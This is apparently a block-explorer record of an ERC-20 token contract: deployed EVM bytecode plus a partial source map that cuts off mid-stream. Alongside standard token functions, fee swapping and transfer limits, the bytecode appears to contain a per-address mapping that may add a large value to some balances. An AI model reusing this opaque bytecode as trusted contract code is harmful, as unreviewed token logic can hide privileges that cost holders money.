b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546106799061148f565b6000610709338461076d8560405180606001604052806025815260200161172b602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ee6565b6000610709338484610bb0565b600980546108ec9061148f565b80601f01602080910402602001604051908101604052809291908181526020018280546109189061148f565b80156109655780601f1061093a57610100808354040283529160200191610965565b820191906000526020600020905b81548152906001019060200180831161094857829003601f168201915b505050505081565b6001600160a01b03811660009081526007602052604081205460ff1661099d576109986001806114df565b61070d565b61070d601a600a6115da565b600880546108ec9061148f565b6000546001600160a01b03163314610a105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610821565b6001600160a01b038116610a755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610821565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610adc82846115e6565b9392505050565b6000610adc8284611605565b6001600160a01b03831615801590610b0f57506001600160a01b03821615155b610b4f5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610821565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610821565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610821565b6001600160a01b03831660009081526005602052604090205460ff16158015610cb857506001600160a01b03821660009081526005602052604090205460ff16155b15610d2057601554811115610d205760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610821565b600c5460ff61010082048116911610801590610d465750601954600160a01b900460ff16155b8015610d6057506019546001600160a01b03848116911614155b8015610d755750601954600160a81b900460ff165b15610db457600c805460ff1916905530600090815260026020526040902054601554811115610da357506015545b8015610db257610db281610f1e565b505b6001600160a01b03821660009081526004602052604090205460ff16610e0b57601354610e0082610dfa856001600160a01b031660009081526002602052604090205490565b90610f12565b1115610e0b57600080fd5b6001600160a01b03831660009081526006602052604090205460019060ff1680610e4d57506001600160a01b03831660009081526006602052604090205460ff165b15610e9657506001600160a01b03821660009081526007602052604081205460ff168015610e7e575060175460ff16155b15610e91576017805460ff191660011790555b610ed4565b6019546001600160a01b0390811690851603610eb757600e54600d55610ed4565b6019546001600160a01b0390811690841603610ed457600f54600d555b610ee084848484610f63565b50505050565b60008184841115610f0a5760405162461bcd60e51b8152600401610821919061135f565b505050900390565b6000610adc8284611627565b6019805460ff60a01b1916600160a01b179055610f3a81610fbe565b6001544790610f52906001600160a01b03168261113b565b50506019805460ff60a01b19169055565b80610f7757610f726001611176565b610fa4565b600c805460ff16906000610f8a8361163f565b91906101000a81548160ff021916908360ff160217905550505b610faf8484846111c6565b80610ee057610ee060016112cb565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff357610ff361165e565b60200260200101906001600160a01b031690816001600160a01b031681525050601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611066573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108a9190611674565b8160018151811061109d5761109d61165e565b6001600160a01b0392831660209182029290920101526017546110c891309161010090041684610aef565b60175460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611105908590600090869030904290600401611691565b600060405180830381600087803b15801561111f57600080fd5b505af1158015611133573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611171573d6000803e3d6000fd5b505050565b600d541580156111835750805b801561118f5750600e54155b801561119b5750600f54155b156111a35750565b50600e8054601155600f8054601255600d80546010556000928390559082905555565b6000806111d28361131b565b6001600160a01b03871660009081526002602052604090205491935091506111fa9084611353565b6001600160a01b03861660009081526002602052604090205561124261121f8561096d565b6001600160a01b038616600090815260026020526040902054610dfa9085610f12565b6001600160a01b03851660009081526002602052604080822092909255308152205461126e9082610f12565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b806112d35750565b601054600d55601154600e55604080518082019091526012548152606260208201526112fd6107b2565b60ff16600281106113105761131061165e565b6020020151600f5550565b60008060006064600d548561133091906115e6565b61133a9190611605565b905060006113488583611353565b959194509092505050565b6000610adc82846114df565b600060208083528351808285015260005b8181101561138c57858101830151858201604001528201611370565b8181111561139e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113c957600080fd5b50565b600080604083850312156113df57600080fd5b82356113ea816113b4565b946020939093013593505050565b60008060006060848603121561140d57600080fd5b8335611418816113b4565b92506020840135611428816113b4565b929592945050506040919091013590565b60006020828403121561144b57600080fd5b8135610adc816113b4565b6000806040838503121561146957600080fd5b8235611474816113b4565b91506020830135611484816113b4565b809150509250929050565b600181811c908216806114a357607f821691505b6020821081036114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114f1576114f16114c9565b500390565b600181815b80851115611531578160001904821115611517576115176114c9565b8085161561152457918102915b93841c93908002906114fb565b509250929050565b6000826115485750600161070d565b816115555750600061070d565b816001811461156b576002811461157557611591565b600191505061070d565b60ff841115611586576115866114c9565b50506001821b61070d565b5060208310610133831016604e8410600b84101617156115b4575081810a61070d565b6115be83836114f6565b80600019048211156115d2576115d26114c9565b029392505050565b6000610adc8383611539565b6000816000190483118215151615611600576116006114c9565b500290565b60008261162257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561163a5761163a6114c9565b500190565b600060ff821660ff8103611655576116556114c9565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561168657600080fd5b8151610adc816113b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e15784516001600160a01b0316835293830193918301916001016116bc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205465860907a979c4e9bb284dafdcc00a404dc11e82ce55665fa00a70a1752a0d64736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c806370a082311161010d578063a457c2d7116100a0578063cba0e9961161006f578063cba0e996146105b9578063d28d8852146105d9578063dd62ed3e146105ee578063f2fde38b14610634578063f45128f51461065457600080fd5b8063a457c2d71461054e578063a9059cbb1461056e578063af465a271461058e578063b09f1266146105a457600080fd5b80637ed41bcc116100dc5780637ed41bcc146104bb5780638da5cb5b146104eb578063928138001461050957806395d89b411461053957600080fd5b806370a0823114610442578063715018a61461047857806378109e541461048f5780637d1db4a5146104a557600080fd5b8063313ce5671161018557806349bd5a5e1161015457806349bd5a5e146103b75780634a74bb02146103d757806356e56761146103f8578063673a6dad1461041257600080fd5b8063313ce5671461032c57806339509351146103525780633ac656e81461037257806343dee2f8146103a257600080fd5b80631694505e116101c15780631694505e146102b157806318160ddd146102d6578063220f6696146102eb57806323b872dd1461030c57600080fd5b80630273b99f146101fe57806306fdde031461023b5780630787b15d1461025d578063095ea7b31461028157600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060015461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b5061025061066a565b604051610232919061135f565b34801561026957600080fd5b50610273600f5481565b604051908152602001610232565b34801561028d57600080fd5b506102a161029c3660046113cc565b6106fc565b6040519015158152602001610232565b3480156102bd57600080fd5b5060175461021e9061010090046001600160a01b031681565b3480156102e257600080fd5b50600b54610273565b3480156102f757600080fd5b506019546102a190600160a01b900460ff1681565b34801561031857600080fd5b506102a16103273660046113f8565b610713565b34801561033857600080fd5b50600a5460ff165b60405160ff9091168152602001610232565b34801561035e57600080fd5b506102a161036d3660046113cc565b61077c565b34801561037e57600080fd5b506102a161038d366004611439565b60066020526000908152604090205460ff1681565b3480156103ae57600080fd5b506103406107b2565b3480156103c357600080fd5b5060195461021e906001600160a01b031681565b3480156103e357600080fd5b506019546102a190600160a81b900460ff1681565b34801561040457600080fd5b506017546102a19060ff1681565b34801561041e57600080fd5b506102a161042d366004611439565b60056020526000908152604090205460ff1681565b34801561044e57600080fd5b5061027361045d366004611439565b6001600160a01b031660009081526002602052604090205490565b34801561048457600080fd5b5061048d6107cb565b005b34801561049b57600080fd5b5061027360135481565b3480156104b157600080fd5b5061027360155481565b3480156104c757600080fd5b506102a16104d6366004611439565b60046020526000908152604090205460ff1681565b3480156104f757600080fd5b506000546001600160a01b031661021e565b34801561051557600080fd5b506102a1610524366004611439565b60076020526000908152604090205460ff1681565b34801561054557600080fd5b50610250610874565b34801561055a57600080fd5b506102a16105693660046113cc565b610883565b34801561057a57600080fd5b506102a16105893660046113cc565b6108d2565b34801561059a57600080fd5b50610273600b5481565b3480156105b057600080fd5b506102506108df565b3480156105c557600080fd5b506102736105d4366004611439565b61096d565b3480156105e557600080fd5b506102506109a9565b3480156105fa57600080fd5b50610273610609366004611456565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064057600080fd5b5061048d61064f366004611439565b6109b6565b34801561066057600080fd5b50610273600e5481565b6060600880546106799061148f565b80601f01602080910402602001604051908101604052809291908181526020018280546106a59061148f565b80156106f25780601f106106c7576101008083540402835291602001916106f2565b820191906000526020600020905b8154815290600101906020018083116106d557829003601f168201915b5050505050905090565b6000610709338484610aef565b5060015b92915050565b6000610720848484610bb0565b610772843361076d85604051806060016040528060288152602001611703602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ee6565b610aef565b5060019392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161070991859061076d9086610f12565b60175460009060ff166107c55750600090565b50600190565b6000546001600160a01b0316331461082a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546106799061148f565b6000610709338461076d8560405180606001604052806025815260200161172b602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ee6565b6000610709338484610bb0565b600980546108ec9061148f565b80601f01602080910402602001604051908101604052809291908181526020018280546109189061148f565b80156109655780601f1061093a57610100808354040283529160200191610965565b820191906000526020600020905b81548152906001019060200180831161094857829003601f168201915b505050505081565b6001600160a01b03811660009081526007602052604081205460ff1661099d576109986001806114df565b61070d565b61070d601a600a6115da565b600880546108ec9061148f565b6000546001600160a01b03163314610a105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610821565b6001600160a01b038116610a755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610821565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610adc82846115e6565b9392505050565b6000610adc8284611605565b6001600160a01b03831615801590610b0f57506001600160a01b03821615155b610b4f5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610821565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610821565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610821565b6001600160a01b03831660009081526005602052604090205460ff16158015610cb857506001600160a01b03821660009081526005602052604090205460ff16155b15610d2057601554811115610d205760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610821565b600c5460ff61010082048116911610801590610d465750601954600160a01b900460ff16155b8015610d6057506019546001600160a01b03848116911614155b8015610d755750601954600160a81b900460ff165b15610db457600c805460ff1916905530600090815260026020526040902054601554811115610da357506015545b8015610db257610db281610f1e565b505b6001600160a01b03821660009081526004602052604090205460ff16610e0b57601354610e0082610dfa856001600160a01b031660009081526002602052604090205490565b90610f12565b1115610e0b57600080fd5b6001600160a01b03831660009081526006602052604090205460019060ff1680610e4d57506001600160a01b03831660009081526006602052604090205460ff165b15610e9657506001600160a01b03821660009081526007602052604081205460ff168015610e7e575060175460ff16155b15610e91576017805460ff191660011790555b610ed4565b6019546001600160a01b0390811690851603610eb757600e54600d55610ed4565b6019546001600160a01b0390811690841603610ed457600f54600d555b610ee084848484610f63565b50505050565b60008184841115610f0a5760405162461bcd60e51b8152600401610821919061135f565b505050900390565b6000610adc8284611627565b6019805460ff60a01b1916600160a01b179055610f3a81610fbe565b6001544790610f52906001600160a01b03168261113b565b50506019805460ff60a01b19169055565b80610f7757610f726001611176565b610fa4565b600c805460ff16906000610f8a8361163f565b91906101000a81548160ff021916908360ff160217905550505b610faf8484846111c6565b80610ee057610ee060016112cb565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff357610ff361165e565b60200260200101906001600160a01b031690816001600160a01b031681525050601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611066573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108a9190611674565b8160018151811061109d5761109d61165e565b6001600160a01b0392831660209182029290920101526017546110c891309161010090041684610aef565b60175460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611105908590600090869030904290600401611691565b600060405180830381600087803b15801561111f57600080fd5b505af1158015611133573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611171573d6000803e3d6000fd5b505050565b600d541580156111835750805b801561118f5750600e54155b801561119b5750600f54155b156111a35750565b50600e8054601155600f8054601255600d80546010556000928390559082905555565b6000806111d28361131b565b6001600160a01b03871660009081526002602052604090205491935091506111fa9084611353565b6001600160a01b03861660009081526002602052604090205561124261121f8561096d565b6001600160a01b038616600090815260026020526040902054610dfa9085610f12565b6001600160a01b03851660009081526002602052604080822092909255308152205461126e9082610f12565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b806112d35750565b601054600d55601154600e55604080518082019091526012548152606260208201526112fd6107b2565b60ff16600281106113105761131061165e565b6020020151600f5550565b60008060006064600d548561133091906115e6565b61133a9190611605565b905060006113488583611353565b959194509092505050565b6000610adc82846114df565b600060208083528351808285015260005b8181101561138c57858101830151858201604001528201611370565b8181111561139e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113c957600080fd5b50565b600080604083850312156113df57600080fd5b82356113ea816113b4565b946020939093013593505050565b60008060006060848603121561140d57600080fd5b8335611418816113b4565b92506020840135611428816113b4565b929592945050506040919091013590565b60006020828403121561144b57600080fd5b8135610adc816113b4565b6000806040838503121561146957600080fd5b8235611474816113b4565b91506020830135611484816113b4565b809150509250929050565b600181811c908216806114a357607f821691505b6020821081036114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114f1576114f16114c9565b500390565b600181815b80851115611531578160001904821115611517576115176114c9565b8085161561152457918102915b93841c93908002906114fb565b509250929050565b6000826115485750600161070d565b816115555750600061070d565b816001811461156b576002811461157557611591565b600191505061070d565b60ff841115611586576115866114c9565b50506001821b61070d565b5060208310610133831016604e8410600b84101617156115b4575081810a61070d565b6115be83836114f6565b80600019048211156115d2576115d26114c9565b029392505050565b6000610adc8383611539565b6000816000190483118215151615611600576116006114c9565b500290565b60008261162257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561163a5761163a6114c9565b500190565b600060ff821660ff8103611655576116556114c9565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561168657600080fd5b8151610adc816113b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e15784516001600160a01b0316835293830193918301916001016116bc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205465860907a979c4e9bb284dafdcc00a404dc11e82ce55665fa00a70a1752a0d64736f6c634300080e0033

Deployed Bytecode Sourcemap

11834:9520:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11955:90;;;;;;;;;;-1:-1:-1;11955:90:0;;;;-1:-1:-1;;;;;11955:90:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;11955:90:0;;;;;;;;14728:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;12738:27::-;;;;;;;;;;;;;;;;;;;986:25:1;;;974:2;959:18;12738:27:0;840:177:1;15565:161:0;;;;;;;;;;-1:-1:-1;15565:161:0;;;;;:::i;:::-;;:::i;:::-;;;1643:14:1;;1636:22;1618:41;;1606:2;1591:18;15565:161:0;1478:187:1;13203:41:0;;;;;;;;;;-1:-1:-1;13203:41:0;;;;;;;-1:-1:-1;;;;;13203:41:0;;;15005:95;;;;;;;;;;-1:-1:-1;15085:7:0;;15005:95;;13319:28;;;;;;;;;;-1:-1:-1;13319:28:0;;;;-1:-1:-1;;;13319:28:0;;;;;;15734:313;;;;;;;;;;-1:-1:-1;15734:313:0;;;;;:::i;:::-;;:::i;14914:83::-;;;;;;;;;;-1:-1:-1;14980:9:0;;;;14914:83;;;2537:4:1;2525:17;;;2507:36;;2495:2;2480:18;14914:83:0;2365:184:1;16055:218:0;;;;;;;;;;-1:-1:-1;16055:218:0;;;;;:::i;:::-;;:::i;12307:49::-;;;;;;;;;;-1:-1:-1;12307:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16558:98;;;;;;;;;;;;;:::i;13282:28::-;;;;;;;;;;-1:-1:-1;13282:28:0;;;;-1:-1:-1;;;;;13282:28:0;;;13354:40;;;;;;;;;;-1:-1:-1;13354:40:0;;;;-1:-1:-1;;;13354:40:0;;;;;;13161:33;;;;;;;;;;-1:-1:-1;13161:33:0;;;;;;;;12249:51;;;;;;;;;;-1:-1:-1;12249:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15108:123;;;;;;;;;;-1:-1:-1;15108:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;15201:22:0;15174:7;15201:22;;;:13;:22;;;;;;;15108:123;11420:148;;;;;;;;;;;;;:::i;:::-;;12911:57;;;;;;;;;;;;;;;;13041:54;;;;;;;;;;;;;;;;12187:55;;;;;;;;;;-1:-1:-1;12187:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11191:87;;;;;;;;;;-1:-1:-1;11237:7:0;11264:6;-1:-1:-1;;;;;11264:6:0;11191:87;;12363:52;;;;;;;;;;-1:-1:-1;12363:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14819:87;;;;;;;;;;;;;:::i;16281:269::-;;;;;;;;;;-1:-1:-1;16281:269:0;;;;;:::i;:::-;;:::i;15239:167::-;;;;;;;;;;-1:-1:-1;15239:167:0;;;;;:::i;:::-;;:::i;12535:49::-;;;;;;;;;;;;;;;;12464:30;;;;;;;;;;;;;:::i;19256:160::-;;;;;;;;;;-1:-1:-1;19256:160:0;;;;;:::i;:::-;;:::i;12424:33::-;;;;;;;;;;;;;:::i;15414:143::-;;;;;;;;;;-1:-1:-1;15414:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15522:18:0;;;15495:7;15522:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15414:143;11576:244;;;;;;;;;;-1:-1:-1;11576:244:0;;;;;:::i;:::-;;:::i;12705:26::-;;;;;;;;;;;;;;;;14728:83;14765:13;14798:5;14791:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14728:83;:::o;15565:161::-;15640:4;15657:39;2733:10;15680:7;15689:6;15657:8;:39::i;:::-;-1:-1:-1;15714:4:0;15565:161;;;;;:::o;15734:313::-;15832:4;15849:36;15859:6;15867:9;15878:6;15849:9;:36::i;:::-;15896:121;15905:6;2733:10;15927:89;15965:6;15927:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15927:19:0;;;;;;:11;:19;;;;;;;;2733:10;15927:33;;;;;;;;;;:37;:89::i;:::-;15896:8;:121::i;:::-;-1:-1:-1;16035:4:0;15734:313;;;;;:::o;16055:218::-;2733:10;16143:4;16192:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16192:34:0;;;;;;;;;;16143:4;;16160:83;;16183:7;;16192:50;;16231:10;16192:38;:50::i;16558:98::-;16627:13;;16603:5;;16627:13;;:21;;-1:-1:-1;16647:1:0;;16558:98::o;16627:21::-;-1:-1:-1;16643:1:0;;16558:98::o;11420:148::-;11237:7;11264:6;-1:-1:-1;;;;;11264:6:0;2733:10;11330:23;11322:68;;;;-1:-1:-1;;;11322:68:0;;3994:2:1;11322:68:0;;;3976:21:1;;;4013:18;;;4006:30;4072:34;4052:18;;;4045:62;4124:18;;11322:68:0;;;;;;;;;11527:1:::1;11511:6:::0;;11490:40:::1;::::0;-1:-1:-1;;;;;11511:6:0;;::::1;::::0;11490:40:::1;::::0;11527:1;;11490:40:::1;11558:1;11541:19:::0;;-1:-1:-1;;;;;;11541:19:0::1;::::0;;11420:148::o;14819:87::-;14858:13;14891:7;14884:14;;;;;:::i;16281:269::-;16374:4;16391:129;2733:10;16414:7;16423:96;16462:15;16423:96;;;;;;;;;;;;;;;;;2733:10;16423:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16423:34:0;;;;;;;;;;;;:38;:96::i;15239:167::-;15317:4;15334:42;2733:10;15358:9;15369:6;15334:9;:42::i;12464:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;19256:160::-;-1:-1:-1;;;;;19337:26:0;;19311:7;19337:26;;;:19;:26;;;;;;;;:71;;19393:15;19407:1;;19393:15;:::i;:::-;19337:71;;;19374:15;19386:2;19374;:15;:::i;12424:33::-;;;;;;;:::i;11576:244::-;11237:7;11264:6;-1:-1:-1;;;;;11264:6:0;2733:10;11330:23;11322:68;;;;-1:-1:-1;;;11322:68:0;;3994:2:1;11322:68:0;;;3976:21:1;;;4013:18;;;4006:30;4072:34;4052:18;;;4045:62;4124:18;;11322:68:0;3792:356:1;11322:68:0;-1:-1:-1;;;;;11665:22:0;::::1;11657:73;;;::::0;-1:-1:-1;;;11657:73:0;;5991:2:1;11657:73:0::1;::::0;::::1;5973:21:1::0;6030:2;6010:18;;;6003:30;6069:34;6049:18;;;6042:62;-1:-1:-1;;;6120:18:1;;;6113:36;6166:19;;11657:73:0::1;5789:402:1::0;11657:73:0::1;11767:6;::::0;;11746:38:::1;::::0;-1:-1:-1;;;;;11746:38:0;;::::1;::::0;11767:6;::::1;::::0;11746:38:::1;::::0;::::1;11795:6;:17:::0;;-1:-1:-1;;;;;;11795:17:0::1;-1:-1:-1::0;;;;;11795:17:0;;;::::1;::::0;;;::::1;::::0;;11576:244::o;1968:98::-;2026:7;2053:5;2057:1;2053;:5;:::i;:::-;2046:12;1968:98;-1:-1:-1;;;1968:98:0:o;2078:::-;2136:7;2163:5;2167:1;2163;:5;:::i;17225:266::-;-1:-1:-1;;;;;17320:19:0;;;;;;:44;;-1:-1:-1;;;;;;17343:21:0;;;;17320:44;17312:74;;;;-1:-1:-1;;;17312:74:0;;6793:2:1;17312:74:0;;;6775:21:1;6832:2;6812:18;;;6805:30;-1:-1:-1;;;6851:18:1;;;6844:47;6908:18;;17312:74:0;6591:341:1;17312:74:0;-1:-1:-1;;;;;17397:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17449:32;;986:25:1;;;17449:32:0;;959:18:1;17449:32:0;;;;;;;17225:266;;;:::o;17499:1616::-;-1:-1:-1;;;;;17633:18:0;;17625:68;;;;-1:-1:-1;;;17625:68:0;;7139:2:1;17625:68:0;;;7121:21:1;7178:2;7158:18;;;7151:30;7217:34;7197:18;;;7190:62;-1:-1:-1;;;7268:18:1;;;7261:35;7313:19;;17625:68:0;6937:401:1;17625:68:0;-1:-1:-1;;;;;17712:16:0;;17704:64;;;;-1:-1:-1;;;17704:64:0;;7545:2:1;17704:64:0;;;7527:21:1;7584:2;7564:18;;;7557:30;7623:34;7603:18;;;7596:62;-1:-1:-1;;;7674:18:1;;;7667:33;7717:19;;17704:64:0;7343:399:1;17704:64:0;-1:-1:-1;;;;;17785:24:0;;;;;;:18;:24;;;;;;;;17784:25;:62;;;;-1:-1:-1;;;;;;17824:22:0;;;;;;:18;:22;;;;;;;;17823:23;17784:62;17781:197;;;17909:12;;17871:6;:50;;17863:103;;;;-1:-1:-1;;;17863:103:0;;7949:2:1;17863:103:0;;;7931:21:1;7988:2;7968:18;;;7961:30;8027:34;8007:18;;;8000:62;-1:-1:-1;;;8078:18:1;;;8071:38;8126:19;;17863:103:0;7747:404:1;17863:103:0;18018:11;;;;;;;;18007:7;;:22;;;;:57;;-1:-1:-1;18048:16:0;;-1:-1:-1;;;18048:16:0;;;;18047:17;18007:57;:95;;;;-1:-1:-1;18089:13:0;;-1:-1:-1;;;;;18081:21:0;;;18089:13;;18081:21;;18007:95;:133;;;;-1:-1:-1;18119:21:0;;-1:-1:-1;;;18119:21:0;;;;18007:133;17990:497;;;18197:7;:11;;-1:-1:-1;;18197:11:0;;;18272:4;-1:-1:-1;15201:22:0;;;:13;:22;;;;;;18319:12;;18296:35;;18293:78;;;-1:-1:-1;18357:12:0;;18293:78;18388:24;;18385:91;;18428:36;18443:20;18428:14;:36::i;:::-;18166:321;17990:497;-1:-1:-1;;;;;18504:26:0;;;;;;:22;:26;;;;;;;;18500:85;;18569:15;;18540:25;18558:6;18540:13;18550:2;-1:-1:-1;;;;;15201:22:0;15174:7;15201:22;;;:13;:22;;;;;;;15108:123;18540:13;:17;;:25::i;:::-;:44;;18532:53;;;;;;-1:-1:-1;;;;;18651:22:0;;18598:18;18651:22;;;:16;:22;;;;;;18619:4;;18651:22;;;:70;;-1:-1:-1;;;;;;18701:20:0;;;;;;:16;:20;;;;;;;;18651:70;18634:406;;;-1:-1:-1;;;;;;18787:23:0;;18764:5;18787:23;;;:19;:23;;;;;;;;:41;;;;-1:-1:-1;18815:13:0;;;;18814:14;18787:41;18784:70;;;18831:13;:20;;-1:-1:-1;;18831:20:0;18847:4;18831:20;;;18784:70;18634:406;;;18885:13;;-1:-1:-1;;;;;18885:13:0;;;18877:21;;;;18873:167;;18927:7;;18914:10;:20;18873:167;;;18966:13;;-1:-1:-1;;;;;18966:13:0;;;18960:19;;;;18956:84;;19012:8;;18999:10;:21;18956:84;19060:47;19078:4;19083:2;19086:6;19093:13;19060:17;:47::i;:::-;17602:1513;17499:1616;;;:::o;2184:206::-;2270:7;2331:12;2323:6;;;;2315:29;;;;-1:-1:-1;;;2315:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2366:5:0;;;2184:206::o;1756:98::-;1814:7;1841:5;1845:1;1841;:5;:::i;19426:235::-;13637:16;:23;;-1:-1:-1;;;;13637:23:0;-1:-1:-1;;;13637:23:0;;;19511:38:::1;19528:20:::0;19511:16:::1;:38::i;:::-;19627:13;::::0;19582:21:::1;::::0;19614:39:::1;::::0;-1:-1:-1;;;;;19627:13:0::1;19582:21:::0;19614:12:::1;:39::i;:::-;-1:-1:-1::0;;13683:16:0;:24;;-1:-1:-1;;;;13683:24:0;;;19426:235::o;20155:406::-;20285:13;20281:116;;20314:21;20330:4;20314:7;:21::i;:::-;20281:116;;;20376:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20281:116;20417:44;20435:6;20443:9;20454:6;20417:17;:44::i;:::-;20478:13;20474:66;;20507:21;20523:4;20507:7;:21::i;19671:474::-;19763:16;;;19777:1;19763:16;;;;;;;;19739:21;;19763:16;;;;;;;;;;-1:-1:-1;19763:16:0;19739:40;;19808:4;19790;19795:1;19790:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19790:23:0;;;-1:-1:-1;;;;;19790:23:0;;;;;19834:15